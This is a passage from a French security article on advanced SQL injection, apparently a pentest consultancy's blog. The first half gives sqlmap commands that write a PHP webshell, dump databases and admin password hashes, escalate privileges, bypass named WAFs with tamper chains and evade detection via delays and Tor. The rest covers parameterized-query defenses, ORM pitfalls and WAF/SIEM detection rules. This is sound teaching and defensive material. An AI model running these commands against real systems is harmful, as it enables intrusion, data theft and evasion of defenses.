# Écrire un fichier (webshell) sur le serveur
sqlmap -u "http://target.com/page?id=1" \
  --file-write="./shell.php" --file-dest="/var/www/html/shell.php"

# Dump complet de la base de données
sqlmap -u "http://target.com/page?id=1" \
  --dump-all --exclude-sysdbs

# Dump d'une table spécifique avec conditions
sqlmap -u "http://target.com/page?id=1" \
  -D target_db -T users -C "username,password" --dump \
  --where="role='admin'"

# Crack des hash extraits
sqlmap -u "http://target.com/page?id=1" \
  -D target_db -T users --dump --passwords

# Élévation de privilèges DB
sqlmap -u "http://target.com/page?id=1" --priv-esc

# Exécuter une requête SQL spécifique
sqlmap -u "http://target.com/page?id=1" \
  --sql-query="SELECT user, host, authentication_string FROM mysql.user"

7.3 Tamper scripts : contournement intelligent

Les tamper scripts sont des modules Python qui transforment les payloads SQLMap pour contourner les WAF et les filtres applicatifs. SQLMap en inclut plusieurs dizaines, et il est possible d'en créer sur mesure. Voici les plus utiles et leurs combinaisons efficaces :

# Tamper scripts les plus courants
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment          # Espaces -> /**/
  
sqlmap -u "http://target.com/page?id=1" \
  --tamper=between                # > -> NOT BETWEEN 0 AND, = -> BETWEEN x AND x

sqlmap -u "http://target.com/page?id=1" \
  --tamper=randomcase             # uNiOn SeLeCt

sqlmap -u "http://target.com/page?id=1" \
  --tamper=charencode             # Encodage URL des payloads

sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2mssqlblank       # Espaces -> caractères whitespace aléatoires

# Combinaisons efficaces par WAF
# ModSecurity :
--tamper=space2comment,randomcase,between

# Cloudflare :
--tamper=charencode,space2comment,randomcase

# AWS WAF :
--tamper=space2comment,charencode,between,randomcase

# Chaîner plusieurs tampers
sqlmap -u "http://target.com/page?id=1" \
  --tamper=space2comment,between,randomcase,charencode \
  --random-agent --delay=2

7.4 Second-order et options réseau

# Second-order injection
# Le payload est injecté sur une URL mais le résultat 
# est visible sur une autre URL
sqlmap -u "http://target.com/register" \
  --data="username=test*&password=test" \
  --second-url="http://target.com/profile" \
  --second-req="profile_request.txt"

# Utiliser un proxy (Burp Suite) pour inspecter les requêtes
sqlmap -u "http://target.com/page?id=1" \
  --proxy="http://127.0.0.1:8080"

# Rate limiting pour éviter la détection
sqlmap -u "http://target.com/page?id=1" \
  --delay=3 --timeout=30 --retries=3 --safe-freq=10

# Authentification
sqlmap -u "http://target.com/page?id=1" \
  --auth-type=Basic --auth-cred="admin:password"

# Avec un fichier de requête Burp
sqlmap -r request.txt --batch --threads=5

# Tor pour anonymisation
sqlmap -u "http://target.com/page?id=1" \
  --tor --tor-type=SOCKS5 --check-tor

8. Contre-mesures défensives : du code à l'infrastructure

La prévention des injections SQL repose sur une approche de défense en profondeur combinant des mesures au niveau du code, de l'infrastructure et de la supervision. Aucune mesure unique n'est suffisante : c'est la combinaison de plusieurs couches qui assure une protection robuste.

8.1 Requêtes paramétrées (Prepared Statements)

Les requêtes paramétrées constituent la contre-mesure la plus efficace et la plus fondamentale. En séparant le code SQL des données utilisateur, elles rendent l'injection structurellement impossible. Le moteur SQL traite les paramètres comme des données littérales, jamais comme du code exécutable.

# Python (avec paramètres nommés ou positionnels)
import sqlite3
conn = sqlite3.connect('database.db')
cursor = conn.cursor()

# MAUVAIS : concaténation vulnérable
cursor.execute(f"SELECT * FROM users WHERE username = '{username}'")

# BON : requête paramétrée
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))

# Python avec SQLAlchemy (ORM)
from sqlalchemy import text
result = db.session.execute(
    text("SELECT * FROM users WHERE username = :name"),
    {"name": username}
)
// PHP PDO - Requêtes préparées
// MAUVAIS
$stmt = $pdo->query("SELECT * FROM users WHERE id = " . $_GET['id']);

// BON : paramètre nommé
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id");
$stmt->execute(['id' => $_GET['id']]);

// BON : paramètre positionnel avec type
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bindParam(1, $_GET['id'], PDO::PARAM_INT);
$stmt->execute();
// Java JDBC - PreparedStatement
// MAUVAIS
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
    "SELECT * FROM users WHERE id = " + request.getParameter("id"));

// BON
PreparedStatement pstmt = conn.prepareStatement(
    "SELECT * FROM users WHERE id = ?");
pstmt.setInt(1, Integer.parseInt(request.getParameter("id")));
ResultSet rs = pstmt.executeQuery();
// Node.js avec mysql2/promise
// MAUVAIS
const [rows] = await pool.query(
    `SELECT * FROM users WHERE id = ${req.query.id}`);

// BON : requête paramétrée
const [rows] = await pool.execute(
    'SELECT * FROM users WHERE id = ?', [req.query.id]);

// Node.js avec Knex.js (query builder)
const users = await knex('users').where('id', req.query.id);

8.2 Sécurité des ORM et pièges courants

Les ORM (Object-Relational Mapping) comme Hibernate, Django ORM, SQLAlchemy ou ActiveRecord protègent contre les SQLi dans la plupart des cas d'usage. Cependant, ils présentent des pièges lorsque les développeurs utilisent des requêtes brutes (raw queries), des interpolations de chaînes, ou des fonctionnalités avancées sans précaution :

# Django ORM - Pièges courants

# SÉCURISÉ : queryset natif
User.objects.filter(username=username)

# VULNÉRABLE : raw query avec formatage
User.objects.raw(f"SELECT * FROM users WHERE name = '{username}'")

# SÉCURISÉ : raw query avec paramètres
User.objects.raw("SELECT * FROM users WHERE name = %s", [username])

# VULNÉRABLE : extra() avec interpolation
User.objects.extra(where=[f"name = '{username}'"])

# SÉCURISÉ : extra() avec paramètres
User.objects.extra(where=["name = %s"], params=[username])

# ATTENTION : order_by avec entrée utilisateur non validée
# VULNÉRABLE si sort_field vient de l'utilisateur sans whitelist
User.objects.order_by(sort_field)

# SÉCURISÉ : whitelist des champs autorisés
ALLOWED_SORT = {'username', 'email', 'created_at', '-created_at'}
if sort_field in ALLOWED_SORT:
    User.objects.order_by(sort_field)

8.3 Validation des entrées et principe du moindre privilège

Checklist de défense contre les injections SQL

  • Requêtes paramétrées : utiliser systématiquement les prepared statements pour toutes les interactions avec la base de données, sans exception.
  • Validation par whitelist : pour les identifiants dynamiques (noms de tables, colonnes, ORDER BY), valider contre une liste blanche stricte. Ne jamais accepter d'entrée utilisateur directe dans ces contextes.
  • Moindre privilège DB : l'utilisateur de base de données utilisé par l'application ne doit avoir que les permissions strictement nécessaires. Pas de FILE privilege, pas de SUPER, pas d'accès à xp_cmdshell, pas de GRANT. Séparer les utilisateurs en lecture et écriture si possible.
  • Échappement complémentaire : bien que non suffisant seul, l'échappement des caractères spéciaux (mysql_real_escape_string, pg_escape_string) sert de couche supplémentaire.
  • Procédures stockées sécurisées : si des procédures stockées sont utilisées, elles doivent elles-mêmes utiliser des requêtes paramétrées en interne. Une procédure qui construit du SQL dynamique est tout aussi vulnérable.
  • WAF comme couche additionnelle : déployer un WAF (ModSecurity, Cloudflare, AWS WAF) avec des règles SQL injection. Un WAF ne remplace jamais le code sécurisé mais ajoute une couche de détection et de blocage.
  • Monitoring et alerting : surveiller les logs SQL pour détecter les patterns d'injection (requêtes avec UNION SELECT, SLEEP(), OR 1=1). Intégrer dans le SIEM avec des règles de corrélation.
  • Tests réguliers : intégrer des tests de sécurité automatisés (SAST/DAST) dans le pipeline CI/CD. Effectuer des tests de pénétration manuels réguliers.

8.4 Règles WAF et détection SIEM

La mise en place de règles de détection au niveau du WAF et du SIEM permet de détecter les tentatives d'injection SQL en temps réel. Voici des exemples de règles ModSecurity et de requêtes SIEM pour identifier les comportements suspects :

# ModSecurity - Règles personnalisées SQLi
SecRule ARGS "@rx (?i)(union\s+select|select\s+.*\s+from|insert\s+into|delete\s+from|drop\s+table|update\s+.*\s+set)" \
    "id:1001,phase:2,deny,status:403,msg:'SQL Injection Attempt Detected',\
    logdata:'Matched Data: %{MATCHED_VAR} in %{MATCHED_VAR_NAME}',\
    tag:'attack-sqli',severity:'CRITICAL'"

# Bloquer les fonctions dangereuses
SecRule ARGS "@rx (?i)(sleep\s*\(|benchmark\s*\(|waitfor\s+delay|pg_sleep|load_file|into\s+(out|dump)file|xp_cmdshell)" \
    "id:1002,phase:2,deny,status:403,msg:'SQL Injection - Dangerous Function'"
# Splunk - Détection de tentatives SQLi
index=web_logs 
  (uri_query="*UNION*SELECT*" OR uri_query="*OR+1=1*" 
   OR uri_query="*SLEEP(*" OR uri_query="*WAITFOR*DELAY*"
   OR uri_query="*information_schema*" OR uri_query="*xp_cmdshell*")
| stats count by src_ip, uri_path, uri_query
| where count > 5
| sort -count

# Elastic SIEM - Rule pour détection SQLi
{
  "rule": {
    "name": "SQL Injection Attempt",
    "query": "url.query:(*UNION* AND *SELECT*) OR url.query:(*OR* AND *1=1*)",
    "severity": "high",
    "type": "query",
    "index": ["filebeat-*"]
  }
}

Pour aller plus loin dans la sécurisation des API qui interagissent avec les bases de données, consultez notre guide sur les attaques API GraphQL et REST qui couvre les vecteurs d'injection spécifiques aux architectures API modernes.

9. Conclusion : l'injection SQL en perspective

L'injection SQL reste, en 2026, l'une des vulnérabilités les plus dangereuses et les plus exploitées dans le paysage de la sécurité applicative. Malgré l'existence de contre-mesures efficaces et largement documentées depuis plus de vingt ans, de nouvelles applications vulnérables sont déployées quotidiennement. Ce paradoxe s'explique par plusieurs facteurs : la pression des délais de livraison, le manque de formation en sécurité des développeurs, l'utilisation de code legacy non maintenu, et la complexité croissante des architectures applicatives modernes.

Les techniques avancées explorées dans cet article -- de l'injection Union-based à l'exfiltration Out-of-Band, en passant par les injections de second ordre et le bypass de WAF -- illustrent la diversité et la sophistication des vecteurs d'attaque disponibles pour un pentesteur compétent. Un WAF, même correctement configuré, ne peut pas remplacer un code sécurisé utilisant systématiquement des requêtes paramétrées. La défense en profondeur reste le seul paradigme viable.

Pour les professionnels de la sécurité offensive, la maîtrise des injections SQL avancées est une compétence fondamentale qui s'étend bien au-delà du simple ' OR 1=1--. La capacité à identifier et exploiter des injections dans des contextes variés (ORDER BY, INSERT, second-order), à contourner des protections (WAF, filtres applicatifs), et à maximiser l'impact (RCE, exfiltration) distingue le pentesteur junior de l'expert. SQLMap est un outil puissant, mais sa maîtrise passe par la compréhension profonde des mécanismes sous-jacents.

Pour les équipes de défense, la priorité absolue reste l'utilisation systématique de requêtes paramétrées, combinée au principe du moindre privilège pour les comptes de base de données, à une validation stricte par whitelist des entrées non paramétrables (identifiants de colonnes, directions de tri), et à un monitoring continu des patterns d'injection dans les logs applicatifs et WAF. L'intégration de tests de sécurité automatisés (SAST, DAST) dans les pipelines CI/CD permet de détecter les régressions avant le déploiement en production.

Besoin d'un audit de sécurité applicative ?

Nos experts testent vos applications contre les injections SQL avancées, les vulnérabilités OWASP Top 10, et les vecteurs d'attaque modernes. Rapport détaillé avec recommandations de remédiation prioritaire.

Demander un audit

Références et ressources externes

Ayi NEDJIMI

Ayi NEDJIMI

Expert en Cybersécurité & Intelligence Artificielle

Consultant senior, certifié OSCP, CISSP et ISO 27001 Lead Auditor. Plus de 15 ans d'expérience en pentest, audit et solutions IA.

Besoin d'une expertise en cybersécurité ?

Protégez vos applications web contre les injections SQL et les attaques avancées

Nos Services